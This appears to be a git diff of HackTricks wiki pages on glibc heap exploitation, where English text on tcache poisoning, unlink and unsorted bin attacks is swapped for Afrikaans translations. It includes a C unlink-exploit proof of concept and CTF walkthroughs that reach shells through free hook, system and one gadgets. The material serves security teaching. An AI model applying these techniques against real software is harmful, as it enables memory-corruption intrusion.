In hierdie geval sal dit moontlik wees om die **grootte** van die volgende stuk in geheue te **wysig**. 'n Aanvaller kan dit misbruik om **'n toegeken stuk 'n groter grootte te gee**, dan **`free`** dit, wat die stuk **by 'n bin van 'n ander** grootte (groter) laat voeg, dan die **valse grootte** toe te ken, en die aanval sal toegang hê tot 'n **stuk met 'n grootte wat groter is** as wat dit werklik is, **wat dus 'n oorvleueling van stukke situasie verleen**, wat op dieselfde manier uitbuitbaar is as 'n **heap oorloop** (kyk vorige afdeling).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Vir meer inligting oor wat 'n Tcache bin is, kyk na hierdie bladsy:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
Eerstens, let daarop dat die Tcache in Glibc weergawe 2.26 bekendgestel is.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
Die **Tcache aanval** (ook bekend as **Tcache vergiftiging**) wat in die [**guyinatuxido bladsy**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) voorgestel is, is baie soortgelyk aan die vinnige bin aanval waar die doel is om die pointer na die volgende chunk in die bin binne 'n vrygestelde chunk na 'n arbitrêre adres te oorskryf sodat dit later moontlik is om **daardie spesifieke adres toe te ken en moontlik pointers te oorskryf**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
Tans, as jy die genoemde kode uitvoer, sal jy die fout kry: **`malloc(): unaligned tcache chunk detected`**. Dit is dus nodig om 'n uitgelijnde adres as adres in die nuwe pointer te skryf (of genoeg keer die binêre uit te voer sodat die geskryfde adres werklik uitgelijnd is).
### Tcache indexes attack
### Tcache indexes aanval
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Gewoonlik is dit moontlik om aan die begin van die heap 'n chunk te vind wat die **hoeveelheid chunks per indeks** binne die tcache en die adres na die **hoofd chunk van elke tcache indeks** bevat. As dit om een of ander rede moontlik is om hierdie inligting te wysig, sal dit moontlik wees om **die hoofd chunk van 'n indeks na 'n gewenste adres te laat wys** (soos `__malloc_hook`) om dan 'n chunk van die grootte van die indeks toe te ken en die inhoud van `__malloc_hook` in hierdie geval te oorskryf.
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Libc inligting lek**: Dit is moontlik om die tcaches te vul, 'n chunk in die onsorteerde lys by te voeg, die tcache leeg te maak en **die chunk van die onsorteerde bin weer toe te ken** deur slegs die eerste 8B te oorskryf, terwyl die **tweede adres na libc van die chunk intakt gelaat word sodat ons dit kan lees**.
- **Tcache aanval**: Die binêre is kwesbaar vir 'n 1B heap oorgang. Dit sal misbruik word om die **grootte kop** van 'n toegekenne chunk te verander om dit groter te maak. Dan sal hierdie chunk **vrygestel** word, wat dit by die tcache van chunks van die vals grootte voeg. Dan sal ons 'n chunk met die vals grootte toeken, en die vorige chunk sal **teruggegee word met die kennis dat hierdie chunk werklik kleiner was** en dit bied die geleentheid om **die volgende chunk in geheue te oorskryf**.\
Ons sal dit misbruik om **die FD pointer van die volgende chunk te oorskryf** om na **`malloc_hook`** te wys, sodat dit moontlik is om 2 pointers toe te ken: eerstens die wettige pointer wat ons pas gewysig het, en dan sal die tweede toekenning 'n chunk in **`malloc_hook`** teruggee wat misbruik kan word om 'n **one gadget** te skryf.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Libc inligting lek**: Daar is 'n gebruik na vry en 'n dubbele vry. In hierdie skrywe het die outeur 'n adres van libc gelek deur die adres van 'n chunk wat in 'n klein bin geplaas is te lees (soos om dit van die onsorteerde bin te lek, maar van die klein een)
- **Tcache aanval**: 'n Tcache word uitgevoer deur middel van 'n **dubbele vry**. Dieselfde chunk word twee keer vrygestel, sodat die chunk binne die Tcache na homself sal wys. Dan word dit toegeken, sy FD pointer word gewysig om na die **free hook** te wys en dan word dit weer toegeken sodat die volgende chunk in die lys in die free hook gaan wees. Dan word dit ook toegeken en dit is moontlik om die adres van `system` hier te skryf sodat wanneer 'n malloc wat `"/bin/sh"` bevat vrygestel word, ons 'n shell kry.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- Die hoof kwesbaarheid hier is die vermoë om enige adres in die heap te `free` deur sy offset aan te dui.
- **Tcache indexes aanval**: Dit is moontlik om 'n chunk van 'n grootte toe te ken en vry te stel wat, wanneer dit binne die tcache chunk (die chunk met die inligting van die tcache bins) gestoor word, 'n **adres met die waarde 0x100** sal genereer. Dit is omdat die tcache die hoeveelheid chunks in elke bin in verskillende bytes stoor, daarom genereer een chunk in een spesifieke indeks die waarde 0x100.
- Dan lyk hierdie waarde soos daar is 'n chunk van grootte 0x100. Dit maak dit moontlik om dit te misbruik deur hierdie adres te `free`. Dit sal **daardie adres by die indeks van chunks van grootte 0x100 in die tcache voeg**.
- Dan, **toekennend** 'n chunk van grootte **0x100**, sal die vorige adres as 'n chunk teruggegee word, wat dit moontlik maak om ander tcache indekse te oorskryf.\
Byvoorbeeld, om die adres van malloc hook in een van hulle te plaas en 'n chunk van die grootte van daardie indeks toe te ken, sal 'n chunk in calloc hook toelaat, wat die skryf van 'n one gadget moontlik maak om 'n shell te kry.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Dieselfde kwesbaarheid as voorheen met een ekstra beperking.
- **Tcache indexes aanval**: Soortgelyke aanval as die vorige, maar met minder stappe deur **die chunk wat die tcache inligting bevat vry te stel** sodat sy adres by die tcache indeks van sy grootte gevoeg word, sodat dit moontlik is om daardie grootte toe te ken en die tcache chunk inligting as 'n chunk te kry, wat dit moontlik maak om free hook as die adres van een indeks toe te voeg, dit toe te ken, en 'n one gadget daarop te skryf.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- **Write After Free** om 'n nommer by die `fd` pointer te voeg.
- 'n Baie van **heap feng-shui** is nodig in hierdie uitdaging. Die skrywe wys hoe **beheer oor die hoofd van die Tcache** vrylys baie handig is.
- **Glibc lek** deur `stdout` (FSOP).
- **Tcache vergiftiging** om 'n arbitrêre skryf primitief te verkry.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,16 @@
# Unlink Attack
# Unlink Aanval
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Toe hierdie aanval ontdek is, het dit meestal 'n WWW (Write What Where) toegelaat, maar sommige **kontroles is bygevoeg** wat die nuwe weergawe van die aanval meer interessant, meer kompleks en **onbruikbaar** gemaak het.
### Code Example:
### Kode Voorbeeld:
<details>
<summary>Code</summary>
<summary>Kode</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- Die aanval werk nie as tcaches gebruik word nie (na 2.26)
### Goal
### Doel
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Hierdie aanval maak dit moontlik om **'n wysiger na 'n stuk te verander om 3 adresse voor homself aan te dui**. As hierdie nuwe ligging (omgewing van waar die wysiger geleë was) interessante goed het, soos ander beheerde toewysings / stapel..., is dit moontlik om dit te lees/oor te skryf om groter skade te veroorsaak.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- As hierdie wysiger in die stapel geleë was, omdat dit nou na 3 adresse voor homself wys en die gebruiker dit potensieel kan lees en verander, sal dit moontlik wees om sensitiewe inligting van die stapel te lek of selfs die terugwysiger (miskien) te verander sonder om die kanarie te raak.
- In CTF voorbeelde is hierdie wysiger geleë in 'n reeks wysigers na ander toewysings, daarom, deur dit 3 adresse voor te laat wys en in staat te wees om dit te lees en te skryf, is dit moontlik om die ander wysigers na ander adresse te laat wys.\
Aangesien die gebruiker ook die ander toewysings kan lees/skryf, kan hy inligting lek of nuwe adresse in arbitrêre plekke oorskryf (soos in die GOT).
### Requirements
### Vereistes
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Sommige beheer in 'n geheue (bv. stapel) om 'n paar stukke te skep wat waardes aan sommige van die eienskappe gee.
- Stapellek om die wysigers van die valse stuk in te stel.
### Attack
### Aanval
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- Daar is 'n paar stukke (stuk1 en stuk2)
- Die aanvaller beheer die inhoud van stuk1 en die koppe van stuk2.
- In stuk1 skep die aanvaller die struktuur van 'n valse stuk:
- Om beskermings te omseil, maak hy seker dat die veld `size` korrek is om die fout te vermy: `corrupted size vs. prev_size while consolidating`
- en die velde `fd` en `bk` van die valse stuk wys na waar die stuk1 wysiger in die geheue gestoor is met offsets van -3 en -2 onderskeidelik, sodat `fake_chunk->fd->bk` en `fake_chunk->bk->fd` na 'n posisie in geheue (stapel) wys waar die werklike stuk1 adres geleë is:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Die koppe van die stuk2 word gewysig om aan te dui dat die vorige stuk nie gebruik word nie en dat die grootte die grootte van die valse stuk bevat.
- Wanneer die tweede stuk vrygestel word, word hierdie valse stuk ontkoppel:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Voorheen is dit gemaak dat `fake_chunk->fd->bk` en `fake_chunk->bk->fd` na dieselfde plek wys (die ligging in die stapel waar `stuk1` gestoor was, so dit was 'n geldige gekoppelde lys). Aangesien **albei na dieselfde ligging wys**, sal slegs die laaste een (`fake_chunk->bk->fd = fake_chunk->fd`) **effek**.
- Dit sal **die wysiger na stuk1 in die stapel oorskryf na die adres (of bytes) wat 3 adresse voor in die stapel gestoor is**.
- Daarom, as 'n aanvaller die inhoud van die stuk1 weer kan beheer, sal hy in staat wees om **binne die stapel te skryf** en potensieel die terugwysiger te oorskryf terwyl hy die kanarie omseil en die waardes en punte van plaaslike veranderlikes te verander. Selfs weer die adres van stuk1 wat in die stapel gestoor is, na 'n ander ligging te verander waar, as die aanvaller weer die inhoud van stuk1 kan beheer, hy oral kan skryf.
- Let daarop dat dit moontlik was omdat die **adresse in die stapel gestoor is**. Die risiko en uitbuiting mag afhang van **waar die adresse na die valse stuk gestoor word**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Verwysings
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- Alhoewel dit vreemd sou wees om 'n unlink aanval selfs in 'n CTF te vind, hier is 'n paar skrywe waar hierdie aanval gebruik is:
- CTF voorbeeld: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In hierdie voorbeeld, in plaas van die stapel, is daar 'n reeks van malloc'ed adresse. Die unlink aanval word uitgevoer om 'n stuk hier te kan toewys, en dus in staat te wees om die wysigers van die reeks malloc'ed adresse te beheer. Dan is daar 'n ander funksionaliteit wat toelaat om die inhoud van stukke in hierdie adresse te verander, wat toelaat om adresse na die GOT te wys, funksie adresse te verander om lekke te kry en RCE.
- Nog 'n CTF voorbeeld: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Net soos in die vorige voorbeeld, is daar 'n reeks adresse van toewysings. Dit is moontlik om 'n unlink aanval uit te voer om die adres na die eerste toewysing 'n paar posisies voor die begin van die reeks te laat wys en hierdie toewysing in die nuwe posisie te oorskryf. Daarom is dit moontlik om wysigers van ander toewysings te oorskryf om na die GOT van atoi te wys, dit uit te druk om 'n libc lek te kry, en dan atoi GOT met die adres na 'n een gadget te oorskryf.
- CTF voorbeeld met aangepaste malloc en vry funksies wat 'n kwesbaarheid baie soortgelyk aan die unlink aanval misbruik: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Daar is 'n oorgang wat toelaat om die FD en BK wysigers van aangepaste malloc te beheer wat (aangepas) vrygestel sal word. Boonop het die heap die exec bit, so dit is moontlik om 'n heap adres te lek en 'n funksie van die GOT na 'n heap stuk met 'n shellcode aan te dui om uit te voer.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Unsorted Bin Attack
# Ongeordende Bin Aanval
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
For more information about what is an unsorted bin check this page:
Vir meer inligting oor wat 'n ongeordende bin is, kyk na hierdie bladsy:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Ongeordende lyste kan die adres na `unsorted_chunks (av)` in die `bk` adres van die stuk skryf. Daarom, as 'n aanvaller die **adres van die `bk` pointer** in 'n stuk binne die ongeordende bin kan **wysig**, kan hy in staat wees om **daardie adres in 'n arbitrêre adres te skryf**, wat nuttig kan wees om 'n Glibc-adres te lek of om sekere verdediging te omseil.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
So, basies, laat hierdie aanval toe om **'n groot getal op 'n arbitrêre adres in te stel**. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tipiese teiken is **`global_max_fast`** om vinnige binne met groter groottes te skep (en om van 'n ongeordende bin aanval na 'n vinnige bin aanval oor te gaan).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> T> kyk na die voorbeeld wat gegee is in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) en gebruik 0x4000 en 0x5000 in plaas van 0x400 en 0x500 as stuk groottes (om Tcache te vermy) is dit moontlik om te sien dat **vandag** die fout **`malloc(): unsorted double linked list corrupted`** geaktiveer word.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Daarom, hierdie ongeordende bin aanval vereis nou (benewens ander kontroles) ook om in staat te wees om die dubbele verknoping te herstel sodat dit `victim->bk->fd == victim` of nie `victim->fd == av (arena)` omseil nie, wat beteken dat die adres waar ons wil skryf die adres van die valse stuk in sy `fd` posisie moet hê en dat die valse stuk `fd` na die arena wys.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Let daarop dat hierdie aanval die ongeordende bin korrupteer (dus klein en groot ook). So ons kan slegs **toewysings van die vinnige bin nou gebruik** ( 'n meer komplekse program mag ander toewysings doen en crash), en om dit te aktiveer moet ons **die dieselfde grootte toewys of die program sal crash.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> Let daarop dat om **`global_max_fast`** te oorskry dalk in hierdie geval kan help, vertrouende dat die vinnige bin in staat sal wees om al die ander toewysings te hanteer totdat die uitbuiting voltooi is.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed, alhoewel as jy die mallocs aanpas om genoeg geheue toe te ken sodat dit nie in 'n Tcache eindig nie, kan jy sien dat die voorheen genoemde fout voorkom wat hierdie tegniek voorkom: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
## Ongeordende Bin Inligtingslek Aanval
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
Dit is eintlik 'n baie basiese konsep. Die stukke in die ongeordende bin gaan wysers hê. Die eerste stuk in die ongeordende bin sal eintlik die **`fd`** en die **`bk`** skakels hê **wat na 'n deel van die hoof arena (Glibc)** wys.\
Daarom, as jy **'n stuk in 'n ongeordende bin kan plaas en dit kan lees** (gebruik na vry) of **dit weer kan toewys sonder om ten minste 1 van die wysers te oorskry** om dan **dit te lees**, kan jy 'n **Glibc inligtingslek**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
'n Soortgelyke [**aanval wat in hierdie skrywe gebruik is**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was om 'n 4 stukke struktuur (A, B, C en D - D is slegs om konsolidasie met die boonste stuk te voorkom) te misbruik, sodat 'n null byte oorgang in B gebruik is om C aan te dui dat B nie gebruik is nie. Ook, in B is die `prev_size` data gewysig sodat die grootte in plaas van die grootte van B A+B was.\
Toe is C vrygestel, en gekonsolideer met A+B (maar B was steeds in gebruik). 'n Nuwe stuk van grootte A is toegeken en toe is die libc gelekte adresse in B geskryf waarvandaan hulle gelek is.
## References & Other examples
## Verwysings & Ander voorbeelde
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- Die doel is om 'n globale veranderlike met 'n waarde groter as 4869 te oorskry sodat dit moontlik is om die vlag te kry en PIE is nie geaktiveer nie.
- Dit is moontlik om stukke van arbitrêre groottes te genereer en daar is 'n heap oorgang met die gewenste grootte.
